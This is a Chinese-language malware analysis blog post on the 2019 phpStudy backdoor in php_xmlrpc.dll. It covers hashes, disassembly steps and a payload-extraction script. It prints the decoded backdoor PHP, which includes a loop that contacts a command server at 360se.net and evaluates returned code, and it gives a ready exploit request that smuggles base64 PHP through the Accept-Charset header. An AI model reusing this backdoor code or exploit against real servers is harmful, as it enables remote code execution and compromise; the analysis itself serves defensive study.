phpStudy後門簡要分析
- 2019 年 10 月 10 日
- 筆記
問題概要
有問題的版本如下
phpStudy20180211版本 php5.4.45與php5.2.17 ext擴展文件夾下的php_xmlrpc.dll phpStudy20161103版本 php5.4.45與php5.2.17 ext擴展文件夾下的php_xmlrpc.dll
註:這兩個官網下載的版本里,都沒有發現php5.3版本下存在有問題的php_xmlrpc.dll,打開時會提示存在pdb路徑資訊。

字元串搜索無發現

來源

環境準備
本次使用的是之前下載安裝在本地的phpStudy20180211官網版本
官網下載地址
phpStudy 2018版本下載及更新日誌 – phpStudy交流社區 https://www.xp.cn/wenda/406.html
從官網下載環境發現此時已修復,當然我幾年前本地就已經下載好了2016版本,唉,發現早就是他人的肉雞了。

這兩個官網下載文件,已本地檢查過對應的組件,已經修復了,但是hash卻與頁面給的不同,保留的下載頁面如下:



本地算下hash後進行對比,發現2018版是不對的,但本地解壓安裝後,查對應的組件發現沒有問題,很奇怪。

幾年前下載的存在問題的2016版本hash如下,與上圖官網提供的明顯是不同的:

事件源頭
這次事件最早由@黑鳥報告,鏈接如下:
當晚,Chamd5安全團隊深夜發布了文章,簡要分析了後門的具體來源點。鏈接如下:
這裡簡單分析了自己之前早就已經安裝在本地的官網的php5.4.45版本下的php_xmlrpc.dll組件,本著動手實(復)踐(現)學(工)習(程)的(師)想法,本文就記錄一下分析過程。首先是從之前已經下載好的壓縮包里選擇20180211壓縮包,自解壓安裝後在本地文件夾里選擇php5.4.45,在ext文件夾擴展里找到php_xmlrpc.dll。此時先不急著分析,上傳下VT查看下結果。


目前只有一家引擎對該組件進行了標記,第一次本地使用IDA打開的時候並沒有任何關於pdb資訊的提示,只有在官網發布的已編譯成二進位文件的dll里,打開時才會提示存在pdb資訊。
C:php-sdkphp54devvc9x86objRelease_TSphp_xmlrpc.pdb

這裡給一下該組件的IOC資訊如下:
MD5:c339482fd2b233fb0a555b629c0ea5d5 SHA-1:111abc2e79bf39357152b297213ee43f93ef9f81 SHA-256:8f2874e38e5e2d0a3368690badf75a6af8f848d8a976a357499a7c9050c70e04
查一下創建時間:2015:09:02 18:17:43+02:00,可發現後門作者對此時間戳進行了偽造,因為該後門是直接修改源程式碼後自行編譯生成的dll,但把pdb給去掉了…….很奇怪,按理可以偽裝一下。

使用010Editor 查看此PE文件,發現該文件的CRC校驗值為0,很可疑。通過對比php官方發布的二進位文件可以發現是存在CheckSum值的。


按照其餘文章的步驟,首先是要確定惡意程式碼的位置。IDA打開該dll後,通過查找字元串列表,接著篩選出eval字元(註:eval() 函數把字元串按照 PHP 程式碼來執行)就可找到實際後門程式碼位置。

接著按下x交叉引用,可找到具體程式碼點。



按F5生成偽程式碼,如圖


spprintf函數是php官方自己封裝的函數,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); //v42為緩衝區等於@eval(gzuncompress(『,27h,』v42』,27h,』)); 實際是實現字元串拼接功能
通過找eval關鍵詞可發現多處存在,第一處spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);第二處spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
惡意程式碼存在變數v41、v42里,在此處往上回溯該變數,發現對該變數進行了處理。
v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == 39 ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int)&unk_1000D66C ) break; v8 = v41; }
其中1000D028-1000D66C(偏移D028-D66C)這段地址的值很可疑,打開010Editor進行查看下。發現該段內容處於.data區域。


每個值佔4個位元組, 為dword類型。這裡的邏輯是將該段數據處理成char類型後,使用php中的gzuncompress對其解壓,接著使用eval執行該腳本內容。接著看第二處惡意程式碼,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); 往上回溯,發現unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)這段內容是會被處理的,之後會賦給v42,所以這段內容也是需要注意的。


提取並解壓這兩段內容的腳本如下,該腳本來源於微步在線分析文章,很好用,不重複造輪子了。
# -*- coding:utf-8 -*- # !/usr/bin/env python import os, sys, string, shutil, re import base64 import struct import pefile import ctypes import zlib # import put_family_c2 def hexdump(src, length=16): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) lines = [] for c in xrange(0, len(src), length): chars = src[c:c + length] hex = ' '.join(["%02x" % ord(x) for x in chars]) printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) lines.append("%04x %-*s %sn" % (c, length * 3, hex, printable)) return ''.join(lines) def descrypt(data): try: # data = base64.encodestring(data) # print(hexdump(data)) num = 0 data = zlib.decompress(data) # return result return (True, result) except Exception, e: print(e) return (False, "") def GetSectionData(pe, Section): try: ep = Section.VirtualAddress ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize] # print(hexdump(data)) return data except Exception, e: return None def GetSecsions(PE): try: for section in PE.sections: # print(hexdump(section.Name)) if (section.Name.replace('x00', '') == '.data'): data = GetSectionData(PE, section) # print(hexdump(data)) return (True, data) return (False, "") except Exception, e: return (False, "") def get_encodedata(filename): pe = pefile.PE(filename) (ret, data) = GetSecsions(pe) if ret: flag = "gzuncompress" offset = data.find(flag) data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("x00x00x00", "") decodedata_1 = zlib.decompress(data[:0x191]) print(hexdump(data[0x191:])) decodedata_2 = zlib.decompress(data[0x191:]) with open("decode_1.txt", "w") as hwrite: hwrite.write(decodedata_1) hwrite.close with open("decode_2.txt", "w") as hwrite: hwrite.write(decodedata_2) hwrite.close def main(path): c2s = [] domains = [] file_list = os.listdir(path) for f in file_list: print f file_path = os.path.join(path, f) get_encodedata(file_path) if __name__ == "__main__": # os.getcwd() path = "php5.4.45" main(path)
運行後會生成兩段解壓後的數據,不過此時的數據已經base64編碼過。



base64解碼如下:
@ini_set("display_errors","0"); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1rn"; $out .= "Host: {$h}rn"; $out .= "Accept-Encoding: compress,gziprn"; $out .= "Connection: Closernrn"; fwrite($fp, $out); fclose($fp); }
base解碼如下:
@ini_set("display_errors","0"); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result; } $ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("20123","40125","8080","80","53"); $n = false; do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); } }while($n);
惡意程式碼處於sub_100031F0函數中,在上面發現的兩段內容的基礎上往上分析,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);該程式碼如果要被執行,首先if ( !v12 )的條件需要滿足,接著看v12 = strcmp(v34, aCompressGzip);說明有對該硬編碼的字元串有比較。」compress,gzip」,再往上是一個else語句,查一下if語句里的內容。這裡的判斷邏輯是如果查找到相應的變數後,這裡是判斷是否存在HTTP_ACCEPT_ENCODING欄位,$_SERVER[『HTTP_ACCEPT_ENCODING』] 為當前請求的 Accept-Encoding: 頭資訊的內容。
例如:「gzip」。如果存在就判斷欄位值是否是gzip,deflate,如果也存在就判斷是否存在HTTP_ACCEPT_CHARSET欄位 $_SERVER[『HTTP_ACCEPT_CHARSET』] 當前請求的 Accept-Charset: 頭資訊的內容。例如:「iso-8859-1,*,utf-8」。如果也存在的話就接著取HTTP_ACCEPT_CHARSET欄位值,對該值進行base64解碼,調用zend_eval_string(v40, 0, &byte_10012884, a3);// 後門程式碼執行。
以上是真的情況,如果上面的判斷結果為假,則直接跳過,來到v12 = strcmp(v34, aCompressGzip);對其判斷,如果字元比較相等就繼續執行下面的unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)這段內容調用spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
註:zend_hash_find()函數是查找變數, https://www.kancloud.cn/fage/phpbook/336297zend_eval_string會將v40變數的內容作為php腳本執行

如果上圖中第一個if判斷的結果為假,則直接跳轉到下面執行。原理一致如上面一樣,同樣是對一段硬編碼在.data的數據進行處理後,解壓後base64解碼,調用zend_eval_string執行php腳本。


鑒於C2伺服器已經失活,看不懂效果,但有一個遠程程式碼執行的功能可以演示,來源於zend_eval_string(v40, 0, &byte_10012884, a3);// 後門程式碼執行。
本地演示
首先是運行並啟動存在問題的版本

exp如下,來源於文末參考文章:
GET / /1.1 Host: 127.0.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding:gzip,deflate Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw== Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
system(「net user」);經base64編碼後為c3lzdGVtKCJuZXQgdXNlciIpOw==,直接構造該請求,需要兩個換行,不然會一直處於等待的狀態,沒有響應。依據邏輯還需要注意的是Accept-Encoding欄位值必須為gzip,deflate,才能去判斷是否存在Accept-Charset欄位,接著取該欄位的值,base64解碼後執行,造成了遠程程式碼執行,執行了system(「net user」);。


參考
http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODg0MA==&mid=2650697352&idx=1&sn=cd3e5bf51082a6815bda10e4d4c7683f&chksm=beb1e94f89c660596572b8dd0f91d6926040eaca946a02a2b7eefa393fffc9365f4afac2f315&mpshare=1&scene=1&srcid=&sharer_sharetime=1569071754991&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451177600&idx=1&sn=55dc51c5cd6be6d65949fca5772a88f1&chksm=8c26f659bb517f4fc9fff43009d54f409b138fd838f905890938d97d7f71cd016153cb638f32&mpshare=1&scene=1&srcid=&sharer_sharetime=1569389574326&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247486008&idx=1&sn=995591a77579e4cb693f705361961efa&chksm=e89e22e0dfe9abf659db08fd76f1ce6905e8d76fd6ededd591a27c0e3e80f778eaa8edbe68b9&mpshare=1&scene=1&srcid=0925rOv2YGtsD6Gh6YsmYXPK&sharer_sharetime=1569389775787&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd http://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd http://mp.weixin.qq.com/s?__biz=MzU4OTExNTk0OA==&mid=2247483837&idx=1&sn=2a645ea812f574c8bbafa7aed43450b2&chksm=fdd326fecaa4afe82478acc2f7f75a909e04dffc88d596473c86699941dbd60bd09d6f0d9c76&mpshare=1&scene=1&srcid=&sharer_sharetime=1569463412259&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd
啟發
最後有一點感受,以後對於從業人員經常使用的工具,最好是對其逆向分析做徹底的檢查,避免此類事件發生。